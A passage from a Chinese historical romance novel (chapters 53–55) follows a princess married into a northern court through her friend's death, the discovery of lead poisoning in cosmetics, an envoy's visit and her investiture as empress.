“我知道,我是说……”明绰不自觉地掉了眼泪,下唇剧颤,几乎连不成话,“会吐血吗?会抽搐吗?会神志不清吗?”
巫医不知道是没听懂还是怎么的,还是重复了那两个字:“会死。”
明绰急得恨不得摇晃她的肩膀,但是另一个人比她更快,梁芸姑突然抓住了巫医的袖子,嗓子沙哑着,几乎听不出是她的声音了:“牙齿呢?人若是因铅毒而死,牙齿会如何?”
乌兰徵和段知妘都不明白她们为什么是这样的反应,一时都只顾惊异地抬头看着。巫医没有
听明白梁芸姑的话,于是梁芸姑急切地敲了敲自己的牙齿,巫医便恍然地“啊”了一声,说了个词语,明绰听明白了,黑色。死者的牙齿会发黑。
她不知道母后去世以后牙齿是什么样子。谢太后是梁女史一个人收殓的,为她重新梳头,化妆。明绰最后一次见到母后的遗容,就已经是她躺在棺椁里,身着袆衣,端庄秀美,宛若生时。所以她现在只能茫然地看着梁芸姑松开了巫医,往后退了两步,然后突然踉跄了一下,要不是明绰上去一把扶住,就要整个人摔到地上。
段知妘皱起眉:“这是怎么了?”
“没事,”梁芸姑努力站稳,朝她行礼,“奴婢没事,一时有些头晕……”
她的手极其用力地掐在明绰的手臂上,掐得她发痛。段知妘又说了什么,明绰一点儿都没有听进去。乌兰徵也在问那巫医的话,他们说的是明绰听不懂的语言。太多的声音一起涌进明绰的耳朵,却连一个有意义的词都没有出现。只有一个声音,尖锐到没有任何人可以听见,如鸟喙一般,在她心口猛啄去了一块肉。
害死母后的,不是萧盈。
第53章
巫医也不好说这铅粉是不是害了叱云额雅,比起她喝下去的那碗虎狼之药,缓慢累积的铅毒似乎显得不值一提。更何况,乌兰徵很明显没有要处置萧夫人的意思。事情闹到这个地步,齐木格已悻悻而归,乌兰徵要不了了之,段太后亦无话可说。
当天晚上,叱云额雅终于醒转,但并没有清醒多久便再次失去了意识。贴身伺候她的宫人已被太后严刑打伤,明绰调了从建康跟来的汉人宫女来照料,第二天一早,又去请来了乌兰徵身边的巫医。她来了也不开药施针,反而焚烧了一些味道古怪的东西,拿小刀割破手心,将血滴在焰中,神神叨叨地念了半天,最后给了明绰一句毫不留情的宣判,“救不活”。明绰将她送走,表面不动声色,心中嗤之以鼻。
她由此怀疑巫医说的所谓铅毒,但段太后似乎已经深信不疑,不仅将明绰曾送给她的全都扔了,还将其他得过明绰赠礼的嫔妃宫中也搜刮一遍,派人一起烧毁。粉妆难得,加起来的分量也不算多,但一烧之下,似乎毒性更剧,可怜那奉命焚烧的宫人没两天竟死了。
消息传来,明绰这才不得不信,心中便更加恐惧,怕叱云额雅也让巫医说中。于是不计代价地给她灌人参,非要从阎王手里把她的朋友抢回来。
叱云额雅还真的争了口气,躺了三四天,一度高热到抽搐,竟也醒了过来,能撑着坐在床上听明绰讲完那天发生的事了。听到丞相进宫,想诬陷是明绰害了她时,紧张地一把攥紧她的手;再听到明绰说乌兰徵的那些话时,她先是睁大了眼睛,然后虚弱地笑了笑,似是佩服得很,最后又垂下眼睛,很轻地说了一句:“你这样说,可汗会伤心的。”
明绰把被子沿着她身侧掖掖好,不想说什么。
“可汗刚出生就被带离了生母身边,很可怜的。普达惹大可敦说是照料,其实是监视和控制,管教极严,动辄杖责……”叱云额雅喘了两下,只说了这两句,已耗去了她不少力气,但她似是十分为乌兰徵委屈,一定要辩白给明绰听似的,“为了控制大可汗,普达惹大可敦也不让做阿耶的见他,更没有人敢告诉他生母是谁。他虽一出生就被定好了要承继汗位,但其实和孤儿没什么区别……一直到普达惹大可敦死了,他的日子才好过了一些。”
明绰心疼不已:“你别说话了。”
但叱云额雅还在往下说:“贺儿大可敦虽然疼他,但懦弱胆小,事事都听普达惹氏的,连她死了也不敢违逆……一直到贺儿大可敦不在了,可汗才知道自己的生母是谁。你拿他生母的事情说他,他一定,一定……”
叱云额雅看起来难过得要落泪了,明绰心中却无半分同情,只想着乌兰徵自己都承受了这恶法之害,却还想要加诸到自己的妃嫔身上,简直罪加一等。但看着叱云额雅的表情,又只好放软了声气:“好好好,是我说错了,我下次跟他道歉,好么?”
叱云额雅便往后躺了躺,看着明绰,想了一会儿,又捏了捏明绰的手,朝她笑了笑。明绰也笑了笑,眼中却突然一酸,轻声道:“你怎么这么傻?怎么事事都替他想,也不替自己想想?”
“我这不就是替自己想了么?”叱云额雅睁大眼睛,然后眼神又黯淡下去,小声道,“这次可汗没有惩罚我,惩罚我阿耶,已经很好、很好了。”
明绰心如刀割,突然伏到床边,小声地哭了出来。叱云额雅便把手搭到了她的后脑,轻轻地摸她的头发。明绰抬起头看她,叱云额雅便哀求似的:“你别骂我啦。”
她知道明绰在想什么,又在克制着没说出来什么。乌兰徵到今天也没有再来看过她一眼,明绰替她不值得,又不忍心说出来让她伤心。也许从一开始,乌兰徵选中她就是因为她是那个可以被牺牲的人,根本也没有多喜欢。这一点,叱云额雅心里也是想过的,但她不好意思对明绰说实话。
她的朋友是很尊贵的公主,又聪明,又骄傲,想必是不会像她一样傻的。叱云额雅说如果可汗不喜欢她了,她就也去找别的男人。其实她也知道自己做不到,但总觉得这样说的话,才更配得上做明绰的朋友。
她看出来了,可汗喜欢明绰,但明绰一点儿也不喜欢他。额雅以为自己会嫉妒,但是她躺在这里,心中却只有一种充满了哀伤的羡慕。
明绰伸出手,替她擦了擦颊边的眼泪,突然道:“我明白。”她垂下头,克制着什么,嘴唇颤得很剧烈,“我心里也有过一个人。”
叱云额雅笑了,眼神和曾经同样的狡黠,小声道:“我知道。他姓袁,是不是?”
明绰含着泪笑了一声,肯定是乌兰徵告诉她的。但她没有反驳什么,就这样往下说:“他也是很小就被带离了母亲身边——虽然后来他母亲还是来他身边了,但是他们不能相认……”
叱云额雅睁大眼睛:“为什么?”
“就……”明绰愣了一下,编不出来理由,只好敷衍过去,“就是不能嘛。一直到他母亲不在了,他才第一次叫了她一声阿娘。”
明绰没想到仅仅是这样简单的转述都会让她哭得这样厉害,叱云额雅看着她,眼中满是同情。明绰突然想起额雅方才说乌兰徵被普达惹氏杖责那一句,也不知道哪里翻出来一股攀比似的心理,突然道,“他从小也要被太尉拿戒尺打手心,他身体又不好,还总是过得提心吊胆……”
叱云额雅茫然地张了张嘴。袁家她知道,不是荆州那个吗?为什么明绰连人家小时候的事情都知道?袁家的儿子怎么会被太尉打手心?可是看明绰突然哭得这么伤心,只好笨拙地拍拍她的手背,又摸摸她的脸:“你,你别哭呀……”
但明绰根本停不下来。她已经压了好几天,不让自己去想。那烧铅粉的宫人被毒死之后,梁芸姑只是铁青着脸把所有的粉妆都扔了,明绰想跟她谈一谈此事,她也只是硬邦邦地说,未必就不是他。可是这话站不住脚,谢拂
霜最早开始出现头风和腹痛等等症状的时候,萧盈还是个懵懂小儿。但突然没有了一个可以责怪的人,梁芸姑只能一遍遍问自己,为什么她没有早日发现?为什么谢拂霜痛苦了这么多年,她就是想不到问题出在这铅粉上呢?她没有办法接受此事,所以明绰也不敢跟她谈,只能一心扑在额雅身上。可是晚上辗转反侧,还是一遍遍泪湿了枕席。
额雅的心思她何尝不懂?她也曾经一心地站在萧盈那边,忧他所忧,痛他所痛。母后的死是当头一棒,她以为自己是幡然醒悟,从此不必再犯同样的错误。可是如今她怎么好像又错了?乌兰人虎视眈眈,不肯见容,段太后另有打算,不可深信,乌兰徵又如此不堪托付……她怎么会把自己推到了这般境地?
叱云额雅躺在那里,虚弱地朝她张开了手臂。明绰爬到床上,依偎进了她怀里,哭得几乎喘不上气。叱云额雅的脸颊贴着她的额头,不由叹了口气:“你这样喜欢他,为什么要离开他呢?”
明绰闭上眼睛:“因为我错怪了他。”
叱云额雅非常惋惜地叹了一声,于是她也明白了,一切都太晚了。她只能紧紧抱着自己的朋友,无限同情地说:“你也好可怜。”
明绰想笑,但又没忍住出了哭腔:“是谁去了半条命躺在这里啊?”
于是叱云额雅便叹息似的:“我也可怜。”
明绰不说话,眼泪都流在额雅的颈窝里,腻腻地黏住少女的头发。
叱云额雅又道:“明绰,你对我真好。”
明绰在她颈窝里摇摇头,心中一阵酸软。叱云额雅才是在长安对她最好的人,不从她身上求什么,就只是单纯地用一片善意对待她。
明绰祈求似的:“你要好起来。”
叱云额雅轻轻地应了一声。她看起来已经耗尽了所有的力气,于是明绰也不再跟她说话了。可是她要走的时候,叱云额雅却突然很依恋地抓住了她的手,问她能不能就在这儿睡。明绰便没有多想,吹熄了灯,躺在了她身边。
后来她想,也许那时额雅已经感觉到了什么,所以她才不想自己一个人。
在喝下了那碗药的第七天,叱云额雅再也没有醒过来。明绰在深夜被她的高热和寒颤惊醒,已经来不及再去叫人。她走得非常急,没有留下一句话。太后派人封赏收殓,但本人没有再出现在长秋殿。就在同一天,明绰得知斛律氏还是被无声无息地处死了,跟她一起遭了难的还有连夫人。原来那个堕胎的方子是连夫人给的。
从那一天起,长秋殿陷入了可怕的寂静之中。
明绰知道深宫里的寂静意味着什么。以强硬得罪齐木格没有什么,但她不该那样顶撞太后。太后在她身上看到了强大的同盟,也看到了潜在的对手。但无论她看到的是什么人,这个人都当着她的面羞辱了大燕的可汗。
皇权终究是皇权。
诚然,她是大雍的公主,所以没有人会把她怎么样。只有太阳和星辰毫无意义地轮换,把时间本身变成她的囚牢。
再一次见到乌兰徵是一个深夜。明绰无法入眠,听到叱云额雅的屋里有动静,便起来去看。她不怕有鬼,甚至期待是额雅再回来看一眼。但手中的烛光照亮的只是乌兰徵的身影。
他静静地坐在额雅的床边,脸上没有一点表情,听见明绰进来也没有抬头。明绰便什么也没有说,自顾自把床边的烛台点上,然后也坐在了额雅的床边,但是靠着另一边,有意和乌兰徵之间隔了开来。
他不说话,明绰也什么都不想说。额雅走的时候她想过有很多话要质问乌兰徵,可是他真的在眼前了,她又什么都不想问了。于是他们就这样坐着,好像彼此都不在意对方的存在,却又明确知道对方就在这里。直到烛光最终熄灭,明绰微微蜷缩起来,快要靠在额雅的床上睡着了,才突然听到了乌兰徵的声音:“天亮我就启程了。”
明绰在暗中悄悄坐直,好一会儿才反应过来,额雅出事之前他就说准备去北镇。贺阆王当真出兵了吗?明绰已经无从得知,她也不想问。
“我留了立后诏书,”乌兰徵说,“在太后手中。”
明绰把头靠在了额雅的床柱上,感觉像沉进了水里,非常安静。她好想永远这样沉下去。
“不必了。”她听见自己说,“我不想做你的皇后了。”
又是一片漫长的沉默,然后乌兰徵站了起来,没有看她。
“如你所愿。”
他走出了额雅的房间。
在那之后的两年里,明绰再也没有见过他。
第54章
大燕兴和三年,漠北时有小股兵力试探边境。燕主不断往北镇增兵,及九月,乃亲至布防,设五城要塞。至冬,屡率亲兵深入漠北以探虚实,与草原诸部落斡旋结盟。数次遇险,每每得还,北镇军民谓之“天佑”。
兴和四年春,贺阆果然来犯。苦战数月,难破五城要塞。贺阆王假意遣使和谈,暗送屠珲旧部绕道漠北,到冀州向求援。拔拔真悍然出兵,一路攻下邺城、虎牢关,占据洛阳。大燕兵力被北边牵制,一时无奈,只能与洛阳隔着潼关对峙。
兴和五年,长安向建康遣使,恳请大雍从幽州出兵,切断辽东与冀州之间的联络,逼拔拔真撤军。大雍皇帝亲召使臣,详询大燕帝后情谊,皇后起居等事。使臣艰难搪塞,很快就被发现了大燕仍未正式立后的真相。
大雍皇帝震怒。
兴和五年夏,萧盈点了奉车都尉,持皇帝符节出使长安,要求乌兰徵当着使臣的面行正式的皇后册封礼,否则出兵辽东的事情免谈。
使臣入长安那一天,段太后召见了明绰。她想把两年前的那份立后诏书给明绰,说其实早就准备了立后大典。乌兰人立可敦有一套十分隆重的礼仪,要群臣见证,只是陛下一直征战,这才耽搁了,如今正好,使君来了,也算是有个娘家人在……明绰一言不发地听她说,并不答话,段太后便摆出了一团和气的态度,劝明绰不要再与陛下“置气”。劝到最后,明绰还是什么都没说,只要求私下见使臣一面,承诺一定劝皇兄出兵。段太后无奈之下依她所请,召使臣进宫,于长秋殿面见萧夫人。
“卢望。”明绰看着文牒上使臣的名字,竟不认得,“哪个卢……?”
梁芸姑正给她梳头,想了想,道:“难道是渔阳卢氏?”
那就是谢维的妻族,当初谢太后在时,曾以为卢氏谋前程为饵,诱谢维相助。但是谢太后很快失势,谢维也获罪入狱,此事就没了下文。
明绰对着镜子思量了一会儿,她知道萧盈至今仍未对谢家下手,否则长安早已听到消息。至于原因,她猜了几个,左不过就是谢家根深蒂固,舅舅学乖了,不敢冒进让他抓到错处,而谢太后死于天子鸩杀的风言也让萧盈不得不顾及。
萧盈嘴上不说,其实心里不喜欢世家擅权,当年谢、桓两家独大,他便用一桩婚事拆解,生生把袁氏抬了上来。明绰猜着,建康朝中应该都明白陛下的心思,势弱的士族有机会分大姓之权,就不会像从前一样只想着依附于一家两家,可以专心为皇帝一人分忧。这个时候,卢氏是不是
谢维的妻族,就不那么重要了。
更何况,卢氏原本就在渔阳,对幽州至辽东的地形军情想必很了解。萧盈派卢氏来,至少让大燕看到,他确实是有谈出兵的诚意,并非一味施压。
“好,渔阳卢氏好……”明绰在心里算定了主意,脸上露出了喜色,“冬青,把我的信拿来。”
叫冬青的宫人唱了一声喏,把案上精心叠好的一封信拿来。明绰有些紧张地展开,又看了一遍。她昨晚删删改改,写了几乎一个晚上,才把这封给萧盈的信写好。可是如今醒了再看,她又觉得忐忑。她在信中提及了与萧盈的旧情,若是卢望带回去的路上偷看了可怎么办?
梁芸姑簪上最后一支步摇,轻轻地叹了口气:“卢望是不敢偷看的。”
但是明绰在信中请求萧盈来接自己回家,也是不太可能的。
明绰听出她没说出来的意思,眼神稍微黯淡下来,然后又十分执拗地说:“我不能在这种地方虚耗一生……总要一试!”
便是民间的婚事,夫妻实在过不下去,也有和离的。她什么都不要了,这些嫁妆都留在长安,乌兰徵去充军费好了。只要放她回去,幽州可以出兵,两国可以结盟,什么都可以谈。她与萧盈之间只是一个误会,她现在知道错了,她认错,服软,还不行吗?
梁芸姑从镜中看着她近乎狂热的眼神,终究不忍再说什么。这两年里,明绰也不能说过得不好。原本是因为长秋殿里还住着额雅,住不了太多伺候的人,才让好些个都住在外头,替明绰看守嫁妆。如今额雅不在了,那屋子空了许久,疼痛也就淡了。现在让冬青和秋桑几个贴身伺候的住着额雅那间,原本伺候额雅的宫人住的房间也住满了明绰的人,里里外外洒扫伺候的有二十来个,整个长秋殿都快变成当年的上阳宫了。
其实,就算真的没人管,明绰带来的嫁妆也足够她舒舒服服地在长安过完两辈子,更何况段太后也没有对她完全置之不理。只是淡淡的,关心的都是她吃穿用度,不像从前那样会领着她参政,如今就是一些物件上,她要什么就给什么,让她过得舒舒服服的,大有就这么把她供上一辈子的态度。
可是明绰快要疯掉了,这样的日子她一天也过不下去了。
在外面守着的秋桑跑进来,轻声通报:“长公主,卢大人到了。”
明绰赶紧把信叠好,最后对着镜子看了一下服饰和头发,然后站起来提着裙摆往外去。
卢望已经在外间入座,见到她来,又站了起来行礼,先唤了一声长公主,然后又匆忙改口称夫人。
“使君自故国来,”明绰竟然瞬间就在眼中盈了泪,几乎是哽咽道,“唤长公主即可。”
卢望深深低头,也有叹息之意:“是。”
“使君快坐。”明绰又招呼他,“秋桑,上茶。”
卢望重新坐下,十分知礼,一直低着头。他比明绰想的要年轻,一问之下,果然是渔阳卢氏,谢维的妻子是他姑母,那就算是沾着亲了。从前谢维带人封了上阳宫,明绰虽然叫他一声舅舅,但是心里很不喜欢这人。不过现在,比起乌兰人,谢家的姻亲,那就算是她近亲了。明绰心里亲近,说得就高兴,先攀谈了几句跋涉辛苦、沿途风物,两人都有共鸣,说着说着,卢望也不那样拘谨,敢看着明绰笑了。
“陛下宽仁,没有太过为难姑父。姑父膝下的几个表兄弟,也有姻伯照拂,如今也在朝中做事了。”卢望谈起谢家,有些感慨地叹道,“不过姑父受了伤,如今一直在家里养着,想是不能再领兵了。”
明绰便笑笑,举杯喝茶。萧盈杀不杀是一回事,用不用是另一回事。谢维借着养伤居家,算他有自知之明。
“皇兄年少锐意,喜欢用年轻人。”明绰笑着试探道,“朝中如今定是一番新气象,我若回去,怕是大半的人都要不认得了,使君可要好好跟我说说。”
卢望竟也没听出来她言外之意,只以为长公主思念故国,顺着她的话回答。萧盈喜欢用年轻人确实让明绰说中,曾经的太极殿一眼看下去全是皓首白头,如今已大有改观。年初的时候桓殷又没了,如今大将军一职空了出来。陛下的意思,是看与大燕之间的关系,若是荆州这边风平浪静,便要召袁增回去补缺。袁增也不过四十来岁,跟桓殷比起来算年轻的。
明绰没忍住眉毛一挑。谁能想到几年前袁增还只是一个小小护军,如今都要爬到大将军的位置上去了。
“袁家到底是恩宠无极,旁人比不上。”
卢望便一笑:“长公主有所不知,如今朝中最受宠的,倒还不是姓袁的。”
“哦?”明绰来了兴趣,竟不知道还有谁能够盖过袁煦跟萧盈的交情去,“那是何人?”
“是姓宋的。”卢望顿了顿,看到明绰有一瞬间的怔愣,便主动解释道,“孝景太后的家人。”
他说孝景太后,明绰心里顿时感到有些不舒服。她不知道这是谁,大雍只有一个太后,那就是她的母亲。可是卢望又说姓宋,明绰便知道了,应该是萧盈追封了生母。
当时宋夫人去世,谢太后封了保太夫人,还有赏赐无数。但她丈夫无赖,被萧盈私下处死,这封赏无人可领,朝中就派了人去宋夫人的故乡寻亲。这么看来,终究是让他寻着了。
明绰点点头:“也是应该的。”
但卢望似乎并不以为未然。长公主态度可亲,他谈到此时也有一些忘情,一不小心就透露出了一些内心的真实想法,实是很瞧不起宋家。明绰不动声色地听了听,也可以想象。渔阳卢氏也好,淮梁袁氏也好,说是小族,那不过是相对建康的谢、桓、王、崔而言,乱世风云才致命途多舛,但往上数都是有家学的。可宋氏是个什么东西?陛下对生母有愧,才封了宋氏一个侯爵,倒还没昏了头让宋氏议政。寒门就是寒门,粗鄙不堪,建康士族之中提起来只有讥讽。那宋广义也没什么风骨,一味的只是谄媚君上,从民间找了美人进献。陛下到底是年轻,哪里受得住这个,这大半年来,敬夫人简直是椒房专宠,如今又有了身孕,以后……
明绰的手一抖,茶盏突然从案上滚了下去,打断了卢望的话。
“使君说什么?”
卢望一怔,才反应过来自己的语气也太不该了,赶紧重新说了一遍:“臣是说,恭喜长公主,今年就要做姑母了。”
可是长公主没有一点欢喜的意思,她的脸突然变得煞白,像是喘不上气似的,紧紧攥住了胸口。卢望一惊:“长公主?”
“没事……”明绰咬紧了牙关,用全身的力气控制住自己的表情。那封信还在她手中,她一直捏得紧紧的。“我只是……”
梁芸姑已经上前一步,蹲伏下来扶住了明绰。明绰松开自己的襟口,牢牢地抓住了她的手。梁芸姑感觉到那股几乎要把她的手掌捏碎的痛,心疼地看了一眼明绰,替她开了口:“使君有所不知,长公主这两年思念故国,落了心病。实是欢喜过度,倒犯了病了。”
卢望“哎呀”一声,深信不疑。萧盈就有这个病,瞧着这两兄妹倒是一样的。
“那长公主快……快歇息去,臣也没想到,这……哎呀……”
明绰已经站了起来,抖了抖长袖,将那份信遮住:“使君稍候。”
“臣不敢。”
卢望行了一礼,但是长公主已经回了里间,再没了身影。他也不知道该进该退,站在外间十分尴尬。转头一想,皇后是长公主的表妹,陛下不喜欢皇后,专宠个敬夫人,长公主听了肯定不高兴,顿觉十分懊悔自己的口不择言。他从前虽未见过这个长公主,但他乡初见,长公主美貌和煦,卢望心中自然觉得可亲。一想她远嫁至此,必是思念家人,竟然落了心病,多么惹人怜惜。陛下也是对这个妹妹牵肠挂肚,这骨肉分离之痛,实在是可感可叹,一时之间只是唉声叹气,倒把自
己想得抬袖拭泪。
梁芸姑正好走出来,见他不知为何正拭泪,反倒愣了一下。卢望连忙整理好:“这位……”
梁芸姑便只当没看见,在他对面坐了下来:“妾身姓梁。”
卢望一下明白过来:“原来是梁女史。”
梁芸姑笑了笑,也没应,只道:“长公主托我转告,请使君回建康面圣,‘大燕新立,战事仍频,陛下分身乏术,这才耽搁了立后大典,请皇兄不必多虑。燕雍两国是兄弟之国,臣妹再拜叩首,请皇兄出兵辽东,解长安之急,解陛下之急,就是解臣妹之急。’”
卢望点头道:“这个自然。”
“还有一物,”梁芸姑从袖中取出一枚手掌大的金雁,递给了卢望,“长公主不知喜事将临,仓促之间也拿不出别的。还请使君将此物带回去,这是做姑母的送给皇长子的礼物。”
卢望连忙双手接过,连声应和。梁芸姑又交代了两句,让他不必将长公主患了心病的事情告诉萧盈,以免做皇兄的担心,说得卢望又是感慨不已,湿着眼眶回去了。等把人送走,再进里间,明绰点了桌上的蜡烛,正烧那封信。信已经烧去大半,她却扔未松手,只是定定地看着那火焰,好像等着火舌舔上她的手指似的。直到梁芸姑抢上来,用脚狠狠踩了几下,踩灭了最后的火星。
“长公主……”她似是想劝什么。
明绰闭上了眼睛:“芸姑。”
她几乎是哀求一般,请她什么都不要说。一个字都不要再说了。道理她全都清楚,萧盈娶谢星娥本来就是被迫,她又已经嫁了别人,他有了新欢,是天经地义的事情嘛,未必就意味着他不愿意接她回家。有什么呢?乌兰徵有这么多别的女人,她不是也无所谓么?
可是萧盈不可以。别人都可以,就是萧盈不可以。
事已至此。事已至此。
“去告诉太后,”明绰重新睁开眼,“立后的诏书我接了。”
第55章
段太后至少有一句话没有说谎,乌兰人立可敦的仪式非常隆重。明绰大清早就起来被乌兰人的巫祝梳头抹脸,涂上了气味浓郁的香油。过了晌午,才被带到了一个很空旷的地方。不只是朝中百官都来观礼,在长安居住的西海人几乎都来了,庶民也好,走商也罢,都挤挤挨挨地凑在一起。明绰从马车上一下来,就引起了人群山呼海啸般的欢迎。
已经有人告诉过她此时应该做什么。她先被牵引至巫祝处,以乌兰语承诺她将成为可敦,照拂万民,泽被后世。随后是与乌兰血缘最近的七个家族的长者,依次到她面前向她献上自己的武器,承诺他们的刀剑从此效忠她保护她,如同他们效忠和保护可汗。到此时,礼乐大作,巫祝杀牲祭天。乌兰徵已经盘腿坐在羊毛毡上,等待她的加入。众人簇拥着可敦坐到可汗身边,由方才七个家族中的年轻子弟把羊毛毡举起来,托起可汗和可敦,宣告他们是所有西海人的统治者。
被托着的毛毡哪里坐得稳,明绰只能紧紧地抓住乌兰徵的手臂。人群喧嚣着,无数的金银珠宝被扔到羊毛毡上,乌兰徵便捡起来,往更远的地方扔,引起远处百姓们的哄抢和喧嚣。明绰犹豫了一会儿,乌兰徵低头看了她一眼,把一枚金锭子放进她的手心。明绰想了想,也用力扔了出去,人群中爆发出更响亮的欢呼声,以乌兰语高呼神女庇佑可敦。
明绰已经能听懂大半,不知不觉间竟然也露出了一个微笑。
他们被举在羊毛毡上绕场转了一圈,才终于被放到了镀金的座位上。明绰不知道何时已经被乌兰徵牵住了手,被他拉着走向人群。人群纷纷让出一条路,通往用大车拉来的牛羊肉。分量太大了,都不知道他们到底杀了多少头。明绰一走近就被膻得险些捂起鼻子,又只能忍住。乌兰徵让明绰先握住刀柄,他再握住了明绰的手,一起割下了第一块羊肉,送给了齐木格。明绰心里明白,这是表示无上的尊敬与恩宠之意,但是看着齐木格艰难地用牙齿咬开还带着血丝的肉,内心实在是没有感觉到这有多让人羡慕。
欢宴这才正式开始。
明绰知道,卢望肯定也在人群中。但人实在是太杂乱了,她根本没有找到卢望在哪儿。没有人在意尊卑,也没有人担心是否有人趁乱行刺,所有人都在尽情地歌舞宴饮。明绰被好多西海年轻人围住,一杯接一杯地灌马奶酒。这种狂欢的气氛终于感染了明绰,她不自觉地竟然一直在笑,完全忘记了就在几天前她还想着要皇兄接她回家。
一直到天色暗下来,宴饮的人群仍未散去,但是明绰早已被灌得晕晕乎乎,也不知道是谁带她回的长秋殿。耳朵里嗡嗡响地闹了一天,突然安静下来,反而觉得天旋地转,只是隐约听见梁芸姑的声音,说长公主长这么大都没喝这么醉过,然后便是另一个年轻一点的声音,笑着说毕竟是大婚,自然要喝醉些的。但她听不出来是秋桑还是冬青。她想反驳,什么大婚?这不是大婚,她早已嫁给乌兰徵了。这是立后,立后是政事,不是……可是不是什么呢?她又找不出词了。思绪就像墨洇进水里,很快散成了一缕一缕,再也摸不着了。明绰头一歪,任由她们给她擦洗换衣,自己呼噜呼噜的,先睡过去了。
再醒过来时,房间里非常安静。明绰躺了好一会儿,只觉得头疼,还口干,哼哼唧唧地叫了两声“芸姑”,便有一杯水从床边递了过来。明绰伸手去拿,但是眼花,没拿到,反而打翻了。她便发起了小孩儿脾气,很恼地拖长了声音哼了一声,几乎带出了哭腔。梁芸姑便重新倒了一杯水来,这回亲自把她从床上扶起来,半搂在怀里,喂进了她口中。
明绰不歇气地喝下去一整杯,这才完全醒了过来,感觉身后靠的筋肉有点儿太板硬了,好像不是梁芸姑。
她突然一个激灵,从乌兰徵怀里弹起来,坐在床上瞪着他:“陛下?”
乌兰徵“嗯”了一声,顺手把杯盏放在了床头的烛台边上,但是没点蜡烛。不知道现在是什么时辰了,但是今晚的月色好得不像话,明绰能看清他的脸,甚至还有他袖上刚才被水打湿的痕迹,也能看清,那是一件就寝穿的纱衣,明显今晚是打算睡这儿了。
明绰花了半刻钟消化了一下这件事,然后就苦笑了一声。也没什么好再抗拒的了,若说当初她没有什么嫁了人的实感,今天确实觉得算是成了婚了。但她也不知道这种时候应该怎么……发起接下来的事,只好愣愣地盯着乌兰徵看。
她已经两年没有见过他了,白天在大典上相见,但他们一句私底下的话都没能说。她知道乌兰徵去年冬天就已经从北镇回来了,贺阆王破不了五城的防线,他留了贺儿库莫乞在那里统筹镇守。不过他也没怎么在长安停留,又带兵往潼关去探了几次。洛阳是兵家必争之地,竟然落进了拔拔真手里,乌兰徵连觉都睡不好。反正她还是那个不冷不热的态度,乌兰徵不愿意来她这里讨没趣。
其实她还没有那么熟悉他,两年不见,此时几乎是一个陌生人重新来到她面前。明绰决定还是慢慢来:“我伺候陛下就寝……”
但是说完她就愣住了,她并不知道怎么伺候人就寝,乌兰徵看起来也没有什么要伺候的,头发已经散了,衣服也已经换了。他今天肯定也喝了很多酒,但身上都没什么酒味了,肯定已经沐浴过了。所以乌兰徵笑了一声,还是道:“嗯。”
见鬼,他怎么话突然变少了。明绰记得以前他总是说一些让她很生气的话,但至少那个时候她从来没有觉得面对他局促过。
乌兰徵似是知道她在想什么,终于大发慈悲地开了口:“朕听说你见了建康使臣?”
明绰一愣,脱口而出:“你什么时候开始称‘朕’了?”
乌兰徵看了她一眼,竟然被她看出了一股别扭。这还是最近的事情,汉臣上书谏言,说君王跟臣下“你你我我”的,太没规矩了,所以他才刚刚改了口,自己都没习惯呢,让明绰一问,就有些窘,只好反问她:“你皇兄不称‘朕’吗?”
明绰还没反应过来:“私底下也不……”然后她意识到了什么,不说了。乌兰徵又看了她一会儿,便重新说了一遍:“我听说,你劝你皇兄出兵了?”
明绰点点头:“嗯。”
乌兰徵顿了顿,突然又道:“你还说,‘解陛下之急,便是解臣妹之急’?”
话确实是她亲口说的,梁芸姑一个字都没改。明绰脑子里晕乎乎的,也不知道讲给卢望、让他转达给萧盈的话,怎么还拐了个弯先让乌兰徵听到了。一时只能再“嗯”一声,不知道该说什么。
乌兰徵又不说话了,只是盯着她看。明绰发现乌兰徵这张脸真是有些……精巧。尤其是在暗处的月光下,棱角与明暗让他看起来不像是血肉之躯,而是某些质地生硬的材料雕出来的。
“卢望同陛下谈过了?”明绰努力让自己那颗被马奶酒泡发了的大脑动起来,“他说什么?”
如果明绰没有猜错,卢望持皇帝符节,萧盈肯定给了他做某些主的权力。这场婚礼——不是,立后大典,明绰在心里纠正了自己——办得如此隆重,卢望当庭替建康许诺出兵也是很有可能的。
但乌兰徵没答,只道:“我以为你定要告上一状。”
明绰看着他:“我也以为你定不会心甘情愿地立后。”
被萧盈这样派人盯着,还拿出兵相助一事作为威胁,堪称耻辱。她本以为,以乌兰徵的心气,多半跟当日萧盈立谢星娥一样,让她跪着听上一大篇文绉绉的话,接下印宝,在卢望面前交个差就算完了,和任命大臣没有什么两样。
但是乌兰徵真的办了一场大典——一场婚礼。
乌兰徵只道:“我本就是要立后的,是你不愿意。”
明绰就没话了。现在再来盘算两年前她为什么不愿意已经没什么意义,这两年囚牢般了无意趣的日子,该想通的也都想通了。话也讲到这份上,明绰实在找不出还能接着聊什么,便在床上膝行着朝乌兰徵靠近了一步,试探着,凑了过去,主动在他唇边碰了一下。
乌兰徵又从鼻子发出了很轻的一声笑。明绰马上退回去,没忍住在黑暗里自己红了脸:“你笑什么?”
“没什么。”乌兰徵说,但嗓音很低,像是引诱她一般,“你继续。”
明绰犹豫了一下,跪坐在了自己的脚上,伸手揽住了乌兰徵的脖子,再一次吻上去。这一次乌兰徵回应了她,手环在她腰上,一下子把她拉进了怀里。张开嘴,唇齿交缠地加深了这个吻。
那一瞬间,明绰的脑海中像是被闪电划过一道,突然想起了萧盈。
萧盈珍视她,却从来不敢光明正大地吻她。他们只能躲在皇后宫里的小库房中,吻得迫切而绝望。但乌兰徵不着急,她是他今天向天地万民宣告的妻子。他一点一点地占据了主动权,把明绰轻轻放倒在了床上。明绰感觉到他的手很快伸到了自己的衣下,一开始很轻,怕她抗拒。但是明绰并不讨厌,他的手便放肆起来,在她腰上最细的一处摩挲,掌心温热,手指带着弓马留下的粗茧。
萧盈的手不是这样的。明绰突然又闻见那股药香,冬天里炭火的味道,萧盈少年时苍白的脸。她把他的手握在掌心里反复地搓揉,说他手凉是因为气血亏,然后他说醍醐都让她给吃了……
他那双手如今也有了弓马的痕迹吗?还是那么冰凉吗?他也是这样把手伸到敬夫人衣下的吗?
乌兰徵流连着,吻到她的脖子里,迫使她仰起了头。一边把手伸回去,自己脱去了身上薄薄一件的纱衣。明绰睁开眼睛,茫然地看着床顶,双手不自觉地抵在他的肩上,然后是胸口。明绰不知道这个时候是不是应该也这样抚摸他,但她莫名地就想这样做。乌兰徵把自己的纱衣扔到一边,抓住了她在他胸口流连的手。明绰便不动了,所以她不应该么?乌兰徵又俯身吻她,在她唇畔压低声音问:“在想什么?”
